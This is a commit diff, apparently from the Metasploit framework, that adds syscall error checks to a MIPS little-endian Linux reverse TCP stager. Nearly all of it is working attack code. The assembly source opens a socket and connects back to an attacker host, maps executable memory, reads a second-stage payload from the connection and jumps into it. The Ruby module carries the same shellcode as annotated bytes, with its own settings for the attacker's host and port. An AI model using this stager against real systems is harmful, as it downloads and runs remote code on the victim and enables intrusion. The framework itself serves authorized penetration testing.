Land #8655, add error handling to mipsle linux reverse tcp stager
Tim
commit
db8698e82b
|
|
@ -1,11 +1,11 @@
|
|||
##
|
||||
#
|
||||
#
|
||||
# Name: stager_sock_reverse
|
||||
# Type: Stager
|
||||
# Qualities: No Nulls out of the IP / Port data
|
||||
# Platforms: Linux MIPS Little Endian
|
||||
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
|
||||
# License:
|
||||
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
|
||||
# License:
|
||||
#
|
||||
# This file is part of the Metasploit Exploit Framework
|
||||
# and is subject to the same licenses and copyrights as
|
||||
|
|
@ -27,101 +27,119 @@
|
|||
# generate the string to place on:
|
||||
# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
|
||||
##
|
||||
.text
|
||||
.align 2
|
||||
.globl main
|
||||
.set nomips16
|
||||
.text
|
||||
.align 2
|
||||
.globl main
|
||||
.set nomips16
|
||||
main:
|
||||
.set noreorder
|
||||
.set nomacro
|
||||
.set noreorder
|
||||
.set nomacro
|
||||
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
# a0: domain = PF_INET (2)
|
||||
# a1: type = SOCK_STREAM (2)
|
||||
# a2: protocol = IPPROTO_IP (0)
|
||||
# v0: syscall = __NR_socket (4183)
|
||||
li $t7, -6
|
||||
nor $t7, $t7, $zero
|
||||
addi $a0, $t7, -3
|
||||
addi $a1, $t7, -3
|
||||
slti $a2, $zero, -1
|
||||
li $v0, 4183
|
||||
syscall 0x40404
|
||||
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
|
||||
|
||||
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
|
||||
# a0: sockfd
|
||||
# a1: addr = AF_INET (2)
|
||||
# a2: addrlen = 16
|
||||
# v0: syscall = __NR_connect (4170)
|
||||
lw $a0, -4($sp)
|
||||
li $t7, -3
|
||||
nor $t7, $t7, $zero
|
||||
sw $t7, -30($sp)
|
||||
ori $t6, $zero, 0x5c11 # port
|
||||
sw $t6, -28($sp)
|
||||
lui $t6, 0x100 # ip
|
||||
ori $t6, $t6, 0x7f # ip
|
||||
sw $t6, -26($sp)
|
||||
addiu $a1, $sp, -30
|
||||
li $t4, -17
|
||||
nor $a2, $t4, $zero
|
||||
li $v0, 4170
|
||||
syscall 0x40404
|
||||
|
||||
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
|
||||
# a0: addr = -1
|
||||
# a1: lenght = 4096
|
||||
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
|
||||
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
|
||||
# sp(16): fd = -1
|
||||
# sp(20): offset = 0
|
||||
# v0: syscall = __NR_mmap (4090)
|
||||
li $a0, -1
|
||||
li $a1, 4097
|
||||
addi $a1, $a1, -1
|
||||
li $t1, -8
|
||||
nor $t1, $t1, $0
|
||||
add $a2, $t1, $0
|
||||
li $a3, 2050
|
||||
li $t3, -22
|
||||
nor $t3, $t3, $zero
|
||||
add $t3, $sp, $t3
|
||||
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
|
||||
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
|
||||
li $v0, 4090
|
||||
syscall 0x40404
|
||||
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
# a0: domain = PF_INET (2)
|
||||
# a1: type = SOCK_STREAM (2)
|
||||
# a2: protocol = IPPROTO_IP (0)
|
||||
# v0: syscall = __NR_socket (4183)
|
||||
li $t7, -6
|
||||
nor $t7, $t7, $zero
|
||||
addi $a0, $t7, -3
|
||||
addi $a1, $t7, -3
|
||||
slti $a2, $zero, -1
|
||||
li $v0, 4183
|
||||
syscall 0x40404
|
||||
slt $s0, $zero, $a3
|
||||
bne $s0, $zero, failed
|
||||
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
|
||||
|
||||
# read(sockfd, addr, 4096)
|
||||
# a0: sockfd
|
||||
# a1: addr
|
||||
# a2: len = 4096
|
||||
# v0: syscall = __NR_read (4003)
|
||||
lw $a0, -4($sp)
|
||||
lw $a1, -8($sp)
|
||||
li $a2, 4097
|
||||
addi $a2, $a2, -1
|
||||
li $v0, 4003
|
||||
syscall 0x40404
|
||||
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
|
||||
# a0: sockfd
|
||||
# a1: addr = AF_INET (2)
|
||||
# a2: addrlen = 16
|
||||
# v0: syscall = __NR_connect (4170)
|
||||
lw $a0, -4($sp)
|
||||
li $t7, -3
|
||||
nor $t7, $t7, $zero
|
||||
sw $t7, -30($sp)
|
||||
ori $t6, $zero, 0x5c11 # port
|
||||
sw $t6, -28($sp)
|
||||
lui $t6, 0x100 # ip
|
||||
ori $t6, $t6, 0x7f # ip
|
||||
sw $t6, -26($sp)
|
||||
addiu $a1, $sp, -30
|
||||
li $t4, -17
|
||||
nor $a2, $t4, $zero
|
||||
li $v0, 4170
|
||||
syscall 0x40404
|
||||
slt $s0, $zero, $a3
|
||||
bne $s0, $zero, failed
|
||||
|
||||
# cacheflush(addr, nbytes, DCACHE)
|
||||
# a0: addr
|
||||
# a1: nbytes
|
||||
# a2: cache = DCACHE (2)
|
||||
# v0: syscall = __NR_read (4147)
|
||||
lw $a0, -8($sp)
|
||||
add $a1, $v0, $zero
|
||||
li $t1, -3
|
||||
nor $t1, $t1, $0
|
||||
add $a2, $t1, $0
|
||||
li $v0, 4147
|
||||
syscall 0x40404
|
||||
|
||||
# jmp to the stage
|
||||
lw $s1, -8($sp)
|
||||
lw $s2, -4($sp) # sockfd saved on $s2
|
||||
jalr $s1
|
||||
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
|
||||
# a0: addr = -1
|
||||
# a1: lenght = 4096
|
||||
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
|
||||
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
|
||||
# sp(16): fd = -1
|
||||
# sp(20): offset = 0
|
||||
# v0: syscall = __NR_mmap (4090)
|
||||
li $a0, -1
|
||||
li $a1, 4097
|
||||
addi $a1, $a1, -1
|
||||
li $t1, -8
|
||||
nor $t1, $t1, $0
|
||||
add $a2, $t1, $0
|
||||
li $a3, 2050
|
||||
li $t3, -22
|
||||
nor $t3, $t3, $zero
|
||||
add $t3, $sp, $t3
|
||||
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
|
||||
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
|
||||
li $v0, 4090
|
||||
syscall 0x40404
|
||||
slt $s0, $zero, $a3
|
||||
bne $s0, $zero, failed
|
||||
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
|
||||
|
||||
.set macro
|
||||
.set reorder
|
||||
# read(sockfd, addr, 4096)
|
||||
# a0: sockfd
|
||||
# a1: addr
|
||||
# a2: len = 4096
|
||||
# v0: syscall = __NR_read (4003)
|
||||
lw $a0, -4($sp)
|
||||
lw $a1, -8($sp)
|
||||
li $a2, 4097
|
||||
addi $a2, $a2, -1
|
||||
li $v0, 4003
|
||||
syscall 0x40404
|
||||
slt $s0, $zero, $a3
|
||||
bne $s0, $zero, failed
|
||||
|
||||
# cacheflush(addr, nbytes, DCACHE)
|
||||
# a0: addr
|
||||
# a1: nbytes
|
||||
# a2: cache = DCACHE (2)
|
||||
# v0: syscall = __NR_read (4147)
|
||||
lw $a0, -8($sp)
|
||||
add $a1, $v0, $zero
|
||||
li $t1, -3
|
||||
nor $t1, $t1, $0
|
||||
add $a2, $t1, $0
|
||||
li $v0, 4147
|
||||
syscall 0x40404
|
||||
slt $s0, $zero, $a3
|
||||
bne $s0, $zero, failed
|
||||
|
||||
# jmp to the stage
|
||||
lw $s1, -8($sp)
|
||||
lw $s2, -4($sp) # sockfd saved on $s2
|
||||
jalr $s1
|
||||
|
||||
failed:
|
||||
# exit(status)
|
||||
# a0: status
|
||||
# v0: syscall = __NR_exit (4001)
|
||||
li $a0, 1
|
||||
li $v0, 4001
|
||||
syscall 0x40404
|
||||
|
||||
.set macro
|
||||
.set reorder
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 212
|
||||
CachedSize = 272
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
|
@ -20,7 +20,8 @@ module MetasploitModule
|
|||
'Description' => 'Connect back to the attacker',
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez'
|
||||
'juan vazquez',
|
||||
'tkmru'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
|
|
@ -30,26 +31,78 @@ module MetasploitModule
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ [60, 56], 'ADDR16MSB' ],
|
||||
'LPORT' => [ 48, 'n' ],
|
||||
'LHOST' => [ [68, 64], 'ADDR16MSB' ],
|
||||
'LPORT' => [ 56, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
|
||||
"\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
|
||||
"\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
|
||||
"\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
|
||||
"\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
|
||||
"\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
|
||||
"\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
|
||||
"\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
|
||||
"\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
|
||||
"\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
|
||||
"\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
|
||||
"\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
|
||||
"\x0c\x01\x01\x01\xf8\xff\xa4\x8f\x20\x28\x40\x00\xfd\xff" +
|
||||
"\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01\x33\x10\x02\x24" +
|
||||
"\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
|
||||
"\x20\x02"
|
||||
"\xfa\xff\x0f\x24" + # li t7,-6
|
||||
"\x27\x78\xe0\x01" + # nor t7,t7,zero
|
||||
"\xfd\xff\xe4\x21" + # addi a0,t7,-3
|
||||
"\xfd\xff\xe5\x21" + # addi a1,t7,-3
|
||||
"\xff\xff\x06\x28" + # slti a2,zero,-1
|
||||
"\x57\x10\x02\x24" + # li v0,4183
|
||||
"\x0c\x01\x01\x01" + # syscall 0x40404
|
||||
"\x2a\x80\x07\x00" + # slt s0,zero,a3
|
||||
"\x36\x00\x00\x16" + # bnez s0,0x4006bc <failed>
|
||||
"\xfc\xff\xa2\xaf" + # sw v0,-4(sp)
|
||||
"\xfc\xff\xa4\x8f" + # lw a0,-4(sp)
|
||||
"\xfd\xff\x0f\x24" + # li t7,-3
|
||||
"\x27\x78\xe0\x01" + # nor t7,t7,zero
|
||||
"\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
|
||||
"\x11\x5c\x0e\x34" + # li t6,0x5c11
|
||||
"\xe4\xff\xae\xaf" + # sw t6,-28(sp)
|
||||
"\x00\x01\x0e\x3c" + # lui t6,0x100
|
||||
"\x7f\x00\xce\x35" + # ori t6,t6,0x7f
|
||||
"\xe6\xff\xae\xaf" + # sw t6,-26(sp)
|
||||
"\xe2\xff\xa5\x27" + # addiu a1,sp,-30
|
||||
"\xef\xff\x0c\x24" + # li t4,-17
|
||||
"\x27\x30\x80\x01" + # nor a2,t4,zero
|
||||
"\x4a\x10\x02\x24" + # li v0,4170
|
||||
"\x0c\x01\x01\x01" + # syscall 0x40404
|
||||
"\x2a\x80\x07\x00" + # slt s0,zero,a3
|
||||
"\x25\x00\x00\x16" + # bnez s0,0x4006bc <failed>
|
||||
"\xff\xff\x04\x24" + # li a0,-1
|
||||
"\x01\x10\x05\x24" + # li a1,4097
|
||||
"\xff\xff\xa5\x20" + # addi a1,a1,-1
|
||||
"\xf8\xff\x09\x24" + # li t1,-8
|
||||
"\x27\x48\x20\x01" + # nor t1,t1,zero
|
||||
"\x20\x30\x20\x01" + # add a2,t1,zero
|
||||
"\x02\x08\x07\x24" + # li a3,2050
|
||||
"\xea\xff\x0b\x24" + # li t3,-22
|
||||
"\x27\x58\x60\x01" + # nor t3,t3,zero
|
||||
"\x20\x58\xab\x03" + # add t3,sp,t3
|
||||
"\xff\xff\x60\xad" + # sw zero,-1(t3)
|
||||
"\xfb\xff\x62\xad" + # sw v0,-5(t3)
|
||||
"\xfa\x0f\x02\x24" + # li v0,4090
|
||||
"\x0c\x01\x01\x01" + # syscall 0x40404
|
||||
"\x2a\x80\x07\x00" + # slt s0,zero,a3
|
||||
"\x15\x00\x00\x16" + # bnez s0,0x4006bc <failed>
|
||||
"\xf8\xff\xa2\xaf" + # sw v0,-8(sp)
|
||||
"\xfc\xff\xa4\x8f" + # lw a0,-4(sp)
|
||||
"\xf8\xff\xa5\x8f" + # lw a1,-8(sp)
|
||||
"\x01\x10\x06\x24" + # li a2,4097
|
||||
"\xff\xff\xc6\x20" + # addi a2,a2,-1
|
||||
"\xa3\x0f\x02\x24" + # li v0,4003
|
||||
"\x0c\x01\x01\x01" + # syscall 0x40404
|
||||
"\x2a\x80\x07\x00" + # slt s0,zero,a3
|
||||
"\x0c\x00\x00\x16" + # bnez s0,0x4006bc <failed>
|
||||
"\xf8\xff\xa4\x8f" + # lw a0,-8(sp)
|
||||
"\x20\x28\x40\x00" + # add a1,v0,zero
|
||||
"\xfd\xff\x09\x24" + # li t1,-3
|
||||
"\x27\x48\x20\x01" + # nor t1,t1,zero
|
||||
"\x20\x30\x20\x01" + # add a2,t1,zero
|
||||
"\x33\x10\x02\x24" + # li v0,4147
|
||||
"\x0c\x01\x01\x01" + # syscall 0x40404
|
||||
"\x2a\x80\x07\x00" + # slt s0,zero,a3
|
||||
"\x03\x00\x00\x16" + # bnez s0,0x4006bc <failed>
|
||||
"\xf8\xff\xb1\x8f" + # lw s1,-8(sp)
|
||||
"\xfc\xff\xb2\x8f" + # lw s2,-4(sp)
|
||||
"\x09\xf8\x20\x02" + # jalr s1
|
||||
"\x01\x00\x04\x24" + # li a0,1
|
||||
"\xa1\x0f\x02\x24" + # li v0,4001
|
||||
"\x0c\x01\x01\x01" + # syscall 0x40404
|
||||
"\x25\x08\x20\x00" + # move at,at
|
||||
"\x25\x08\x20\x00" # move at,at
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue